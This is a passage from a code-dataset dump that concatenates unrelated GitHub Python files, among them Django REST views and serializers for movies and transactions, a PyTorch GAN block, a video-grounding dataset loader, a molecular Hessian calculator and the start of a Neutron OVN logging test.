DavinciConfigLLM, Indexer, interact_with_user\nimport os\nfrom dotenv import load_dotenv\n\nload_dotenv()\n\nWEAVIATE_URL = os.environ[\"WEAVIATE_URL\"]\nOPENAI_API_KEY = os.environ[\"OPENAI_API_KEY\"]\n\npath = \"data\"\n\ndocument_index = HtmlLoader(path_to_url_list=\"misc/url_list.txt\").extract_text(\n path=f\"{path}/doc_index.json\"\n)\ncleaned_document_index = TextProcessor(\n directory=\"data\", file_name=\"doc_index.json\"\n).clean()\n\nindex = Indexer(\n document_index=cleaned_document_index,\n config=DavinciConfigLLM,\n save_location_path=\"data/index\",\n)\n\ninteract_with_user(index.llm_index)\n","repo_name":"anudeep22003/conv-ai","sub_path":"src/demo_html.py","file_name":"demo_html.py","file_ext":"py","file_size_in_byte":712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"5202227786","text":"\"\"\"Serializers module\n\"\"\"\n\nfrom rest_framework import serializers\nfrom worksheet.models import Transaction\nfrom worksheet.validators import positive_decimal_validate\n\n\nclass DynamicFieldsModelSerializer(serializers.ModelSerializer):\n \"\"\"DynamicFieldsModelSerializer\n\n A model serializer who takes an additional `fields` argument\n that control which fields should be displayed.\n \"\"\"\n def __init__(self, *args, **kwargs):\n fields = kwargs.pop('fields', None)\n\n super().__init__(*args, *kwargs)\n\n if fields is not None:\n allowed = set(fields)\n existing = set(self.fields)\n for field in existing - allowed:\n self.fields.pop(field)\n\n\nclass TransactionSerializer(DynamicFieldsModelSerializer):\n \"\"\"TransactionSerializer\n\n Serializer for Transaction model\n \"\"\"\n user = serializers.StringRelatedField(many=False)\n amount = serializers.DecimalField(max_digits=19, decimal_places=4, validators=[positive_decimal_validate])\n\n class Meta:\n \"\"\"Meta options for serializer\n Attributes:\n model (class): The model reference\n fields (tuple): A group of fields to be displayed\n \"\"\"\n model = Transaction\n fields = ['pk', 'user', 'name', 'kind', 'amount']\n\n def to_representation(self, obj):\n \"\"\"To representation\n\n Override the `to_representation` method to allow displaying\n the amount values as negative in case of 'debit' transactions\n \"\"\"\n data = super().to_representation(obj)\n data['amount'] = obj.amount\n if 'amount' in data and obj.kind == 'debit' :\n data['amount'] = obj.amount * -1\n return data","repo_name":"isaquealves/worksheetapp","sub_path":"v1/api/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1714,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"73828581031","text":"import torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nfrom torch import Tensor\r\n\r\n\r\nclass ResidualBlockD(nn.Module):\r\n def __init__(self, in_channels: int, out_channels: int):\r\n super().__init__()\r\n self.residual_conv = nn.Sequential(\r\n nn.Conv2d(in_channels, out_channels, kernel_size=4, stride=2, padding=1, bias=False),\r\n nn.LeakyReLU(0.2, inplace=True),\r\n nn.Conv2d(out_channels, out_channels, kernel_size=3, stride=1, padding=1, bias=False),\r\n nn.LeakyReLU(0.2, inplace=True)\r\n )\r\n\r\n self.scale_conv = None\r\n if in_channels != out_channels:\r\n self.scale_conv = nn.Conv2d(in_channels, out_channels, kernel_size=1, stride=1, padding=0)\r\n\r\n self.gamma = nn.Parameter(torch.zeros(1))\r\n\r\n def _shortcut(self, x: Tensor) -> Tensor:\r\n if self.scale_conv is not None:\r\n x = self.scale_conv(x)\r\n\r\n return F.avg_pool2d(x, 2)\r\n\r\n def forward(self, x: Tensor) -> Tensor:\r\n return self._shortcut(x) + self.gamma * self.residual_conv(x)\r\n","repo_name":"jmyissb/SEAttnGAN","sub_path":"src/discriminator/residual_block.py","file_name":"residual_block.py","file_ext":"py","file_size_in_byte":1083,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"72"} +{"seq_id":"4762308062","text":"from utils import Preprocessing\nfrom read_corpus import load_corpus\nimport pandas as pd\n\n\ndef count_tags(review):\n tags = ['N', 'V', 'PCP', 'ADV', 'ADJ']\n count_tags = {'N': 0, 'V': 0, 'PCP': 0, 'ADV': 0, 'ADJ': 0, 'total': 0}\n for _, tag, _ in review:\n count_tags['total'] += 1\n if tag in tags:\n count_tags[tag] += 1\n return count_tags\n\n\ndef calculate_percents(documents):\n all_counts = []\n\n for ind, review in documents.iterrows():\n all_counts.append(count_tags(review['tokens']))\n\n counts = []\n\n for cc in all_counts:\n aux = []\n aux.append(cc['N'])\n aux.append(cc['V'] + cc['PCP'])\n aux.append(cc['ADV'])\n aux.append(cc['ADJ'])\n total = sum(aux)\n\n if cc['total'] == 0:\n aux.append(0)\n aux = [0 for x in aux]\n counts.append(aux)\n continue\n\n aux = [x/cc['total'] for x in aux]\n\n aux.append(total/cc['total'])\n\n counts.append(aux)\n\n df = pd.DataFrame(\n counts, columns=['nouns', 'verbs', 'adv', 'adj', 'open'], index=documents.index)\n return df\n\n\n# p = '/home/rogerio/workspace/Corpus Gigante/corpus_csvs_pickles/corpus_splited/dev_apps.pkl'\n# df = load_corpus(p)\n# r = calculate_percents(df['text'])\n# print(r)\n","repo_name":"RogerFig/features_experiments","sub_path":"syntatic_features.py","file_name":"syntatic_features.py","file_ext":"py","file_size_in_byte":1295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"32227667863","text":"#!/usr/bin/python3\nimport random\nnumber = random.randint(-10000, 10000)\nlast = int(str(number)[-1])\ncond = \"\"\nif number < 0:\n last = -last\nif last > 5:\n cond = \"and is greater than 5\"\nelif last == 0:\n cond = \"and is 0\"\nelse:\n cond = \"and is less than 6 and not 0\"\nprint(f\"Last digit of {number} is {last} {cond}\")\n","repo_name":"thavha/alx-higher_level_programming","sub_path":"0x01-python-if_else_loops_functions/1-last_digit.py","file_name":"1-last_digit.py","file_ext":"py","file_size_in_byte":326,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"5896904146","text":"from django.db.models import Count\nfrom django.shortcuts import get_object_or_404\n\nfrom rest_framework.response import Response\n\nfrom accounts.serializers import ProfileSerializer\nfrom .models import Movie, Comment, Genre\nfrom .serializers.movie import MovieListSerializer, MovieSerializer, MovieNameListSerializer\nfrom .serializers.comment import CommentSerializer\nfrom .serializers.genre import GenreListSerializer, GenreNameListSerializer\nfrom rest_framework import status\nfrom rest_framework.decorators import api_view\nfrom django.contrib.auth import get_user_model\nfrom django.db.models import Q\n\n# Create your views here.\n\nUser = get_user_model()\n\n@api_view(['GET', 'POST'])\ndef movie_list(request, page):\n\n movies = Movie.objects.annotate(\n comment_count = Count('comments', distinct=True), # https://docs.djangoproject.com/en/4.0/topics/db/aggregation/\n like_count = Count('like_users', distinct=True)\n ).all()[page:page+100]\n print(movies)\n serializer = MovieListSerializer(movies, many=True)\n return Response(serializer.data)\n \n\n@api_view(['PUT', 'DELETE'])\ndef comment_update_or_delete(request, movie_pk, comment_pk):\n movie = get_object_or_404(Movie, pk=movie_pk)\n comment = get_object_or_404(Comment, pk=comment_pk)\n\n def update_comment():\n if request.user == comment.user:\n serializer = CommentSerializer(instance=comment, data=request.data)\n if serializer.is_valid(raise_exception=True):\n serializer.save()\n comments = movie.comments.all()\n serializer = CommentSerializer(comments, many=True)\n return Response(serializer.data)\n \n def delete_comment():\n if request.user == comment.user:\n comment.delete()\n comments = movie.comments.all()\n serializer = CommentSerializer(comments, many=True)\n return Response(serializer.data)\n \n if request.method == 'PUT':\n return update_comment()\n elif request.method == 'DELETE':\n return delete_comment()\n\n\n@api_view(['GET'])\ndef movie_detail(request, movie_pk):\n movie = get_object_or_404(Movie, pk=movie_pk)\n if request.method == 'GET':\n serializer = MovieSerializer(movie)\n return Response(serializer.data)\n\n\n@api_view(['POST'])\ndef create_comment(request, movie_pk):\n user = request.user\n movie = get_object_or_404(Movie, pk=movie_pk)\n serializer = CommentSerializer(data=request.data)\n\n if serializer.is_valid(raise_exception=True):\n serializer.save(movie=movie, user=user)\n\n comments = movie.comments.all()\n serializer = CommentSerializer(comments, many=True)\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n\n\n@api_view(['POST'])\ndef like_movie(request, movie_pk):\n movie = get_object_or_404(Movie, pk=movie_pk)\n user = request.user\n if movie.like_users.filter(pk=user.pk).exists():\n movie.like_users.remove(user)\n else:\n movie.like_users.add(user)\n\n serializer = MovieSerializer(movie)\n return Response(serializer.data)\n\n\n@api_view(['GET'])\ndef genres_list(request):\n genres = Genre.objects.all()\n serializer = GenreNameListSerializer(genres, many=True)\n return Response(serializer.data)\n\n\n@api_view(['GET'])\ndef recommendation(request, username):\n user = get_object_or_404(User, username=username)\n \n serializer = ProfileSerializer(user)\n my_movies = serializer.data.get('like_movies', {})\n my_genres = serializer.data.get('like_genres', {})\n my_genres_ids = []\n my_movies_pks = []\n # 좋아하는 장르의 id들\n for i in my_genres:\n my_genres_ids.append(i.get('id'))\n \n # 좋아하는 영화들\n for i in my_movies:\n my_movies_pks.append(i.get('pk'))\n\n recommendation_movie = Movie.objects.filter(Q(genres__in=my_genres_ids) & ~Q(pk__in=my_movies_pks)).order_by('vote_average')[:12]\n serializer = MovieSerializer(recommendation_movie, many=True)\n return Response(serializer.data)\n\n\n@api_view(['GET'])\ndef actor_movie(request, movie_pk):\n movie = get_object_or_404(Movie, pk = movie_pk)\n serializer = MovieNameListSerializer(movie)\n return Response(serializer.data)\n\n\n@api_view(['GET'])\ndef like_genre(request, genre_pk):\n genre = get_object_or_404(Genre, pk=genre_pk)\n serializer = GenreNameListSerializer(genre)\n return Response(serializer.data)\n\n\n@api_view(['GET'])\ndef search_movie(request, keyword):\n \n def insert_whitespace(string):\n s = []\n for i in range(0, len(string)):\n s.append(string[i:i+1])\n return '\\s*'.join(s)\n \n if keyword:\n movies = Movie.objects.filter(title__iregex= insert_whitespace(keyword)).order_by('title').all()\n serializer = MovieSerializer(movies, many=True)\n return Response(serializer.data)\n \n\n\n@api_view(['GET'])\ndef no_search_movie(request):\n movies = Movie.objects.none()\n serializer = MovieSerializer(movies)\n return Response(serializer.data)\n\n\n\n@api_view(['GET'])\ndef sort_movie(request, keyword, page):\n movies = Movie.objects.order_by(f'-{keyword}').all()[page:page+100]\n serializer = MovieSerializer(movies, many=True)\n \n return Response(serializer.data)\n\n\n\n@api_view(['GET'])\ndef sort_movie2(request, keyword, page):\n movies = Movie.objects.order_by(f'{keyword}').all()[page:page+100]\n serializer = MovieSerializer(movies, many=True)\n \n return Response(serializer.data)\n\n@api_view(['GET'])\ndef search_sort_movie(request, keyword, sort):\n \n def insert_whitespace(string):\n s = []\n for i in range(0, len(string)):\n s.append(string[i:i+1])\n return '\\s*'.join(s)\n \n if keyword:\n movies = Movie.objects.filter(title__iregex= insert_whitespace(keyword)).order_by(f'{sort}').all()\n serializer = MovieSerializer(movies, many=True)\n return Response(serializer.data)","repo_name":"ssafyFirst/BE-Django","sub_path":"movies/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5939,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"70259622953","text":"from molecule import Molecule\nimport autograd.numpy as np\nimport os\nimport re\nfrom multiprocessing import Pool, Manager\nimport functools\n\nepsilon = 0.238\nsigma = 3.4\n\n\ndef pbc_sep(p1, p2):\n direction = p1-p2\n # rem = np.mod(direction, 18)\n rem = np.array([direction[i]%18 for i in range(len(direction))])\n # mic_separation_vector = np.mod(rem+9, 18)-9\n mic_separation_vector = [(rem[i]+ 9)%18 -9 for i in range(len(rem)) ]\n return np.array(mic_separation_vector)\n\n\ndef lj_potential(geom):\n te = 0\n tgeom = np.array(geom)\n pairs = []\n for i in range(len(tgeom)):\n for j in range(i+1, len(tgeom)):\n pairs.append((tgeom[i], tgeom[j]))\n for pair in pairs:\n r = np.linalg.norm(pbc_sep(pair[0], pair[1]))\n if r == 0:\n continue\n te += ((sigma/r)**12-(sigma/r)**6)\n return 4 * epsilon * te\n\n\nclass Hessian(object):\n def __init__(self, mol, disp_size=0.005):\n self.N = len(mol)\n self.mol = mol\n self.energy = dict()\n self.h = disp_size\n\n\n def find_E(self, i, j, hi, hj):\n return self.energy[\"X%dX%d_%d%d\" % (i, j, hi, hj)]\n\n\n def set_energy(self, key, geom, d=None):\n e = lj_potential(np.array(geom))\n if d is None:\n self.energy[key] = e\n else:\n d[key] = e\n\n\n def process(self, i, d):\n h, N, geom = self.h, self.N, self.mol.geom\n print(i)\n for j in range(i):\n forward = \"X\"+str(i)+\"X\"+str(j)+\"_11\"\n reverse = \"X\"+str(i)+\"X\"+str(j)+\"_-1-1\"\n\n geom_copy2 = self.mol.copygeom()\n\n alpha = i//3\n beta = i%3\n gamma = j//3\n delta = j%3\n\n geom_copy2[alpha, beta] = geom_copy2[alpha, beta] + h\n geom_copy2[gamma, delta] = geom_copy2[gamma, delta] + h\n\n self.set_energy(forward, geom_copy2, d)\n\n geom_copy2[alpha, beta] = geom_copy2[alpha, beta] - 2*h\n geom_copy2[gamma, delta] = geom_copy2[gamma, delta] - 2*h\n\n self.set_energy(reverse, geom_copy2, d)\n\n def run_disps(self):\n h = self.h\n N = self.N\n xoxo = \"X0X0_00\"\n geom = self.mol.geom\n self.set_energy(xoxo, geom)\n\n #### Run single displacements ####\n for i in range(3*N):\n print(i)\n forward = \"X%dX0_10\" % i\n reverse = \"X%dX0_-10\" % i\n geom_copy = self.mol.copygeom()\n\n alpha = i//3\n beta = i%3\n\n geom_copy[alpha, beta] = geom_copy[alpha, beta]+h\n self.set_energy(forward, geom_copy)\n\n geom_copy[alpha, beta] = geom_copy[alpha, beta]-2*h\n self.set_energy(reverse, geom_copy)\n #### Run double displacements ######\n mylist = [*range(3*N)]\n pool = Pool()\n D = Manager().dict() # Create a multiprocessing Pool\n pool.map(functools.partial(self.process, d=D), mylist)\n pool.close()\n pool.join()\n self.energy.update(D)\n\n def make_Hessian(self):\n\n self.run_disps()\n\n h= self.h\n E0 = self.find_E(0, 0, 0, 0)\n N = self.N\n\n self.H = np.ones((3*self.N, 3*self.N)) * 0\n\n for i in range(3*N):\n print(i)\n for i in range(3*N):\n self.H[i, i] = (self.find_E(i, 0, 1, 0) +\n self.find_E(i, 0, -1, 0)-2*E0)/(h**2)\n for j in range(0, i):\n self.H[i, j] = (self.find_E(i, j, 1, 1)+self.find_E(i, j, -1, -1)-self.find_E(\n i, 0, 1, 0)-self.find_E(j, 0, 1, 0)-self.find_E(j, 0, -1, 0)-self.find_E(i, 0, -1, 0)+2*E0)\n self.H[i, j] /= 2*h**2\n self.H[j, i] = self.H[i, j]\n\n def make_eigh(self):\n w, v = np.linalg.eigh(self.H)\n np.savetxt(\"eigen_vectors.dat\", v, \"%15.7f\", \" \", \"\\n\")\n np.savetxt(\"eigen_values.dat\", w, \"%15.7f\", \" \", \"\\n\")\n\n def write_Hessian(self):\n self.make_Hessian()\n self.make_eigh()\n np.savetxt(\"hessian.dat\", self.H, \"%15.7f\", \" \", \"\\n\")\n","repo_name":"alapan-sau/Sceince-II-Section1-Assignments","sub_path":"project/hessian.py","file_name":"hessian.py","file_ext":"py","file_size_in_byte":4110,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"12257828878","text":"from .db import db, environment, SCHEMA, add_prefix_for_prod\nfrom datetime import datetime\nfrom .books_in_shelve import books_in_shelve\nfrom .creator_and_book import creator_and_book\n\nclass Book(db.Model):\n __tablename__ = 'books'\n\n if environment == \"production\":\n __table_args__ = {'schema': SCHEMA}\n\n id = db.Column(db.Integer, primary_key=True)\n title = db.Column(db.String(), nullable=False)\n genre = db.Column(db.String(), nullable=False)\n summary = db.Column(db.Text(), nullable=False)\n created_at = db.Column(db.DateTime(), default=datetime.utcnow())\n updated_at = db.Column(db.DateTime(), default=datetime.utcnow())\n\n # Need a way to pull creator data and cover data right away\n creators = db.relationship(\n \"Creator\", secondary=creator_and_book, back_populates=\"books\"\n )\n\n # rever engineer this:\n # # This relationship allows you to access both the collection of users\n # # that follow a given user (with user.followers), and the collection\n # # of users that a user follows (with user.following)\n # followers = db.relationship(\n # \"User\",\n # secondary=follows,\n # primaryjoin=(follows.c.follower_id == id),\n # secondaryjoin=(follows.c.user_id == id),\n # backref=db.backref(\"following\", lazy=\"dynamic\"),\n # lazy=\"dynamic\"\n # )\n # creator_list = db.relationship(\n # \"Book\", secondary=\n # )\n\n # A book can be in many bookshelves, a bookshelf\n # can only contain a book once.\n shelved = db.relationship(\n \"Bookshelf\",\n secondary=books_in_shelve,\n back_populates=\"stacks\"\n )\n\n # Relationship between Books and Reviews\n reviewed = db.relationship(\n \"Review\", back_populates=\"rated\", cascade=\"all, delete-orphan\"\n )\n\n # Relationship between Books and Book Covers\n covered = db.relationship(\n \"BookCover\", back_populates=\"book_parent\", cascade=\"all, delete-orphan\"\n )\n\n\n\n def to_dict(self):\n \"\"\"\n Converts class data into a dictionary for use in api routes\n \"\"\"\n return {\n 'id': self.id,\n 'title': self.title,\n 'genre': self.genre,\n 'summary': self.summary,\n 'createdAt': self.created_at,\n 'updatedAt': self.updated_at,\n }\n","repo_name":"DairyDuke/capstone","sub_path":"app/models/book.py","file_name":"book.py","file_ext":"py","file_size_in_byte":2320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"8239945346","text":"from django.db import models\nfrom django.forms import TextInput\n\nimport django_filters\nfrom django_filters import CharFilter\n\nfrom vehicles.models import Vehicle\n\n\nclass VehicleFilter(django_filters.FilterSet):\n manufactured_date = CharFilter(widget=TextInput(attrs={\"hidden\": True}))\n\n class Meta:\n model = Vehicle\n fields = [\n \"name\",\n \"manufactured_date\",\n \"registration_plate\",\n \"GPS_status\",\n \"storage_site\",\n \"tech_state\",\n ]\n filter_overrides = {\n models.CharField: {\n \"filter_class\": django_filters.CharFilter,\n \"extra\": lambda f: {\n \"lookup_expr\": \"icontains\",\n },\n },\n }\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n for key, value in self.filters.items():\n self.filters[key].label = \"\"\n","repo_name":"incognito6479/kokalamzorlashtirish","sub_path":"src/vehicles/filters.py","file_name":"filters.py","file_ext":"py","file_size_in_byte":947,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"34360827198","text":"import os\nimport json\nfrom copy import deepcopy\nimport torch\nimport random\n\nfrom tqdm import tqdm\nimport torch.utils.data as data\nimport numpy as np\nfrom PIL import Image\nimport ffmpeg\n\nfrom torchvision.transforms import ToTensor, ToPILImage\nfrom utils.bounding_box import BoxList\nfrom .data_utils import make_hcstvg_input_clip\n\n\nclass HCSTVGDataset(data.Dataset):\n\n def __init__(self, cfg, split, transforms=None) -> None:\n super(HCSTVGDataset,self).__init__()\n assert split in ['train', 'test']\n self.cfg = cfg.clone()\n self.split = split\n self.transforms = transforms\n\n self.data_dir = cfg.DATA_DIR\n self.anno_dir = os.path.join(self.data_dir,'annos/hcstvg_v1')\n self.sent_file = os.path.join(self.anno_dir, f'{split}.json') # split\n self.epsilon = 1e-10\n\n self.all_gt_data = self.load_data()\n self.clean_miss()\n self.vocab = None\n \n if cfg.DATA_TRUNK is not None:\n self.all_gt_data = self.all_gt_data[:cfg.DATA_TRUNK]\n \n def clean_miss(self):\n miss_name = '10__Gvp-cj3bmIY.mp4'\n for item in self.all_gt_data:\n if item['vid'] == miss_name:\n self.all_gt_data.remove(item)\n break\n \n miss_name = '1_aMYcLyh9OhU.mkv'\n for item in self.all_gt_data:\n if item['vid'] == miss_name:\n self.all_gt_data.remove(item)\n break\n \n def get_video_info(self,index):\n video_info = {}\n data_item = self.all_gt_data[index]\n video_info['height'] = data_item['height']\n video_info['width'] = data_item['width']\n return video_info\n\n def load_frames(self, data_item, load_video=True):\n video_name = data_item['vid']\n frame_ids = data_item['frame_ids']\n patience = 20\n \n if load_video:\n video_path = os.path.join(self.data_dir,'v1_video',video_name)\n h, w = data_item['height'], data_item['width']\n succ_flag = False\n for _ in range(patience):\n try:\n out, _ = (\n ffmpeg\n .input(video_path)\n .output('pipe:', format='rawvideo', pix_fmt='rgb24')\n .run(capture_stdout=True, quiet=True)\n )\n frames = np.frombuffer(out, np.uint8).reshape([-1, h, w, 3])\n succ_flag = True\n if succ_flag:\n break\n except Exception:\n print(video_name)\n \n if not succ_flag:\n raise RuntimeError(\"Load Video Error\")\n\n frames = frames[frame_ids]\n frames = [ToTensor()(frame) for frame in frames]\n frames = torch.stack(frames)\n else:\n raise NotImplementedError(\"Not Implement load from frames\")\n \n return frames\n\n def __getitem__(self, index: int):\n \"\"\"\n Usage:\n In training, sample a random clip from video\n In testing, chunk the video to a set of clips\n \"\"\"\n video_data = deepcopy(self.all_gt_data[index]) \n\n data_item = make_hcstvg_input_clip(self.cfg, self.split, video_data)\n \n frames = self.load_frames(data_item) # T * C * H * W\n\n # load the sampled gt bounding box\n frame_ids = data_item['frame_ids']\n temp_gt = data_item['gt_temp_bound']\n action_idx = np.where(data_item['actioness'])[0]\n start_idx, end_idx = action_idx[0], action_idx[-1]\n bbox_idx = [frame_ids[idx] - temp_gt[0] for idx in range(start_idx,end_idx + 1)]\n bboxs = torch.from_numpy(data_item['bboxs'][bbox_idx]).reshape(-1, 4)\n assert bboxs.shape[0] == len(action_idx)\n\n w, h = data_item['width'], data_item['height']\n bboxs = BoxList(bboxs, (w, h), 'xyxy')\n \n sentence = data_item['description']\n sentence = sentence.lower()\n input_dict = {'frames': frames, 'boxs': bboxs, 'text': sentence, \\\n 'actioness' : data_item['actioness']}\n\n if self.transforms is not None:\n input_dict = self.transforms(input_dict)\n \n targets = {\n 'item_id' : data_item['item_id'],\n 'frame_ids' : data_item['frame_ids'],\n 'actioness' : torch.from_numpy(data_item['actioness']) ,\n 'start_heatmap' : torch.from_numpy(data_item['start_heatmap']),\n 'end_heatmap' : torch.from_numpy(data_item['end_heatmap']),\n 'boxs' : input_dict['boxs'],\n 'img_size' : input_dict['frames'].shape[2:],\n 'ori_size' : (h, w)\n }\n \n return input_dict['frames'], sentence, targets\n\n def __len__(self) -> int:\n return len(self.all_gt_data)\n\n def load_data(self):\n \"\"\"\n Prepare the Input Data Cache and the evaluation data groundtruth\n \"\"\"\n cache_dir = os.path.join(self.data_dir,'data_cache')\n if not os.path.exists(cache_dir):\n os.makedirs(cache_dir)\n \n # Used for Model Input\n dataset_cache = os.path.join(cache_dir, f'hcstvg-{self.split}-input.cache')\n # Used For Evaluateion\n gt_anno_cache = os.path.join(cache_dir, f'hcstvg-{self.split}-anno.cache')\n \n if os.path.exists(dataset_cache):\n data = torch.load(dataset_cache)\n return data\n \n gt_data, gt_anno = [], []\n vstg_anno = self.preprocess(self.sent_file)\n \n for anno_id in tqdm(vstg_anno): \n gt_file = vstg_anno[anno_id]\n frame_nums = gt_file['frame_count']\n video_name = gt_file['vid']\n \n start_fid = 0\n end_fid = frame_nums - 1\n temp_gt_begin = max(0, gt_file['tube_start_frame'])\n temp_gt_end = min(gt_file['tube_end_frame'], end_fid)\n\n assert len(gt_file['target_bboxs']) == temp_gt_end - temp_gt_begin + 1\n \n frame_ids = []\n for frame_id in range(start_fid, end_fid):\n frame_ids.append(frame_id)\n \n actioness = np.array([int(fid <= temp_gt_end and fid >= temp_gt_begin) for fid in frame_ids]) \n \n # prepare the temporal heatmap\n action_idx = np.where(actioness)[0]\n start_idx, end_idx = action_idx[0], action_idx[-1]\n \n start_heatmap = np.ones(actioness.shape) * self.epsilon\n pesudo_prob = (1 - (start_heatmap.shape[0] - 3) * self.epsilon - 0.5) / 2\n \n start_heatmap[start_idx] = 0.5\n if start_idx > 0:\n start_heatmap[start_idx-1] = pesudo_prob\n if start_idx < actioness.shape[0] - 1:\n start_heatmap[start_idx+1] = pesudo_prob\n\n end_heatmap = np.ones(actioness.shape) * self.epsilon\n end_heatmap[end_idx] = 0.5\n if end_idx > 0:\n end_heatmap[end_idx-1] = pesudo_prob\n if end_idx < actioness.shape[0] - 1:\n end_heatmap[end_idx+1] = pesudo_prob\n\n bbox_array = []\n for idx in range(len(gt_file['target_bboxs'])):\n bbox = gt_file['target_bboxs'][idx]\n x1, y1, w, h = bbox\n bbox_array.append(np.array([x1,y1,x1+w,y1+h]))\n assert x1 <= gt_file['width'] and x1 + w <= gt_file['width']\n assert y1 <= gt_file['height'] and y1 + h <= gt_file['height']\n \n bbox_array = np.array(bbox_array)\n assert bbox_array.shape[0] == temp_gt_end - temp_gt_begin + 1\n \n gt_bbox_dict = {fid : bbox_array[fid - temp_gt_begin].tolist() \\\n for fid in range(temp_gt_begin, temp_gt_end + 1)}\n \n gt_item = {\n 'item_id' : gt_file['id'],\n 'vid' : video_name,\n 'bboxs' : gt_bbox_dict,\n 'description' : gt_file['sentence'],\n 'gt_temp_bound' : [temp_gt_begin, temp_gt_end],\n 'frame_count' : gt_file['frame_count']\n }\n \n item = {\n 'item_id' : gt_file['id'],\n 'vid' : video_name,\n 'frame_ids' : frame_ids,\n 'width' : gt_file['width'],\n 'height' : gt_file['height'],\n 'start_heatmap': start_heatmap,\n 'end_heatmap': end_heatmap,\n 'actioness': actioness,\n 'bboxs' : bbox_array,\n 'gt_temp_bound' : [temp_gt_begin, temp_gt_end],\n 'description' : gt_file['sentence'],\n 'object' : 'person',\n 'frame_count' : gt_file['frame_count']\n }\n \n gt_data.append(item)\n gt_anno.append(gt_item)\n \n random.shuffle(gt_data)\n torch.save(gt_data, dataset_cache)\n torch.save(gt_anno, gt_anno_cache)\n return gt_data\n\n def preprocess(self,anno_file):\n \"\"\"\n preoprocess from the original annotation\n \"\"\"\n pair_cnt = 0\n print(f\"Prepare {self.split} Data\")\n \n with open(anno_file, 'r') as fr:\n hcstvg_anno = json.load(fr)\n\n proc_hcstvg_anno = {}\n for vid in tqdm(hcstvg_anno):\n anno = hcstvg_anno[vid]\n data_pairs = {}\n data_pairs['vid'] = vid\n data_pairs['width'] = anno['width']\n data_pairs['height'] = anno['height']\n data_pairs['frame_count'] = anno['img_num']\n data_pairs['tube_start_frame'] = anno['st_frame'] - 1\n data_pairs['tube_end_frame'] = data_pairs['tube_start_frame'] + len(anno['bbox']) - 1\n data_pairs['tube_start_time'] = anno['st_time']\n data_pairs['tube_end_time'] = anno['ed_time']\n data_pairs['id'] = pair_cnt\n data_pairs['sentence'] = anno['caption']\n data_pairs['target_bboxs'] = anno['bbox']\n proc_hcstvg_anno[pair_cnt] = data_pairs\n pair_cnt += 1\n \n print(f'{self.split} pair number : {pair_cnt}')\n return proc_hcstvg_anno\n","repo_name":"jy0205/STCAT","sub_path":"datasets/hcstvg.py","file_name":"hcstvg.py","file_ext":"py","file_size_in_byte":10307,"program_lang":"python","lang":"en","doc_type":"code","stars":32,"dataset":"github-code","pt":"72"} +{"seq_id":"8674886161","text":"# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom unittest import mock\n\nfrom neutron_lib.plugins import constants as plugin_constants\nfrom neutron_lib.services.logapi import constants as log_const\nfrom oslo_utils import uuidutils\nfrom ovsdbapp.backend.ovs_idl import idlutils\n\nfrom neutron.common import utils as neutron_utils\n\nfrom neutron.common.ovn import constants as ovn_const\nfrom neutron.common.ovn import utils as ovn_utils\nfrom neutron.objects import securitygroup as sg_obj\nfrom neutron.services.logapi.drivers.ovn import driver as ovn_driver\nfrom neutron.tests import base\nfrom neutron.tests.unit import fake_resources\n\nFAKE_CFG_RATE = 123\nFAKE_CFG_BURST = 321\nFAKE_LABEL = 1\n\n\nclass TestOVNDriverBase(base.BaseTestCase):\n\n def setUp(self):\n super().setUp()\n\n self.context = mock.Mock()\n self.plugin_driver = mock.Mock()\n self.plugin_driver.nb_ovn = fake_resources.FakeOvsdbNbOvnIdl()\n\n self.log_plugin = mock.Mock()\n get_mock_log_plugin = lambda alias: self.log_plugin if (\n alias == plugin_constants.LOG_API) else None\n self.fake_get_dir_object = mock.patch(\n \"neutron_lib.plugins.directory.get_plugin\",\n side_effect=get_mock_log_plugin).start()\n\n self.fake_get_sgs_attached_to_port = mock.patch(\n \"neutron.services.logapi.common.db_api._get_sgs_attached_to_port\",\n return_value=[]).start()\n\n self.fake_cfg_network_log = mock.patch(\n \"oslo_config.cfg.CONF.network_log\").start()\n self.fake_cfg_network_log.local_output_log_base = None\n self.fake_cfg_network_log.rate_limit = FAKE_CFG_RATE\n self.fake_cfg_network_log.burst_limit = FAKE_CFG_BURST\n\n self._log_driver_property = None\n\n @property\n def _nb_ovn(self):\n return self.plugin_driver.nb_ovn\n\n @property\n def _log_driver(self):\n if self._log_driver_property is None:\n self._log_driver_property = ovn_driver.OVNDriver.create(\n self.plugin_driver)\n return self._log_driver_property\n\n def _log_driver_reinit(self):\n self._log_driver_property = None\n return self._log_driver\n\n def _fake_meter(self, **kwargs):\n meter_defaults_dict = {\n 'uuid': uuidutils.generate_uuid(),\n 'bands': [mock.Mock(uuid='test_band')],\n 'unit': 'pktps',\n 'fair': [True],\n }\n meter_obj_dict = {**meter_defaults_dict, **kwargs}\n return mock.Mock(**meter_obj_dict)\n\n def _fake_meter_band(self, **kwargs):\n meter_band_defaults_dict = {\n 'uuid': 'test_band',\n 'rate': self.fake_cfg_network_log.rate_limit,\n 'burst_size': self.fake_cfg_network_log.burst_limit,\n }\n meter_band_obj_dict = {**meter_band_defaults_dict, **kwargs}\n 